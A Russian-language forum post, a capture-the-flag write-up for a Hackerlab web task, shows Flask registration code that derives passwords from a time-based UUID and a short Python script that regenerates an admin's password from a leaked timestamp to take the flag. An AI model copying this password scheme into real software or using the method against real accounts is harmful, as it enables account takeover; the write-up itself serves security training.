Hackerlab Форум предсказателей(WriteUp)

vov4ick

Green Team
11.12.2022
59
132
Приветствую форумчан, сегодня я покажу решение таска из категории Веб «Форум предсказателей».

1746220921438.webp


Основная цель - это сайт с формой регистрации и авторизации:

1746217962655.webp


К данному таску также идет код приложения, что намного облегчает нам жизнь.
Стоит обратить внимание на эту часть кода:

Python:
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        secret_word = request.form['secret_word']
        if User.query.filter_by(username=username).first():
            return "Такой пользователь уже существует!"
        exact_time = datetime.utcnow()
        timestamp = exact_time.strftime("%Y-%m-%d %H:%M:%S.%f")
        password = generate_uuid(timestamp)
        user = User(username=username, password=password, created_at=exact_time, secret_word=secret_word)
        db.session.add(user)
        db.session.commit()
        return render_template('register_success.html', username=username, password=password)
    return render_template('register.html')

Основная уязвимость этого подхода заключается в том, что пароль генерируется на основе метки времени (дата и время, когда был зарегистрирован пользователь).
Это делает пароль предсказуемым, так как метка времени — это доступное и легко определяемое значение.
В данном случае ее также можно отследить просто манипулируя id :

1746218912065.webp


Далее, имея метку, мы можем преобразовать ее в UUID :

Python:
from datetime import datetime
import uuid

def generate_uuid(timestamp_str):
    try:
        timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f")
        
        uuid_epoch = datetime(1582, 10, 15)
        
        intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7)
        
        clock_seq = 0x89ca
        node = 0x000c297433a0
        
        uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF,
                                  (intervals >> 32) & 0xFFFF,
                                  ((intervals >> 48) & 0x0FFF) | (1 << 12),
                                  clock_seq >> 8,
                                  clock_seq & 0xFF,
                                  node))
        
        return str(uuid1)
    except ValueError as e:
        print(f"Ошибка: {e}")
        return "Ошибка: время (timestamp)."

timestamp_str = "2025-01-22 00:42:26.053996"
generated_uuid = generate_uuid(timestamp_str)
print("Generated UUID:", generated_uuid)

На выходе мы получаем готовый пароль:

1746219867344.webp


Авторизуемся под админом и забираем флаг:

1746219728531.webp


Задача оказалась довольно простой, всем спасибо за внимание.
 
  • Нравится
Реакции: M4x
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!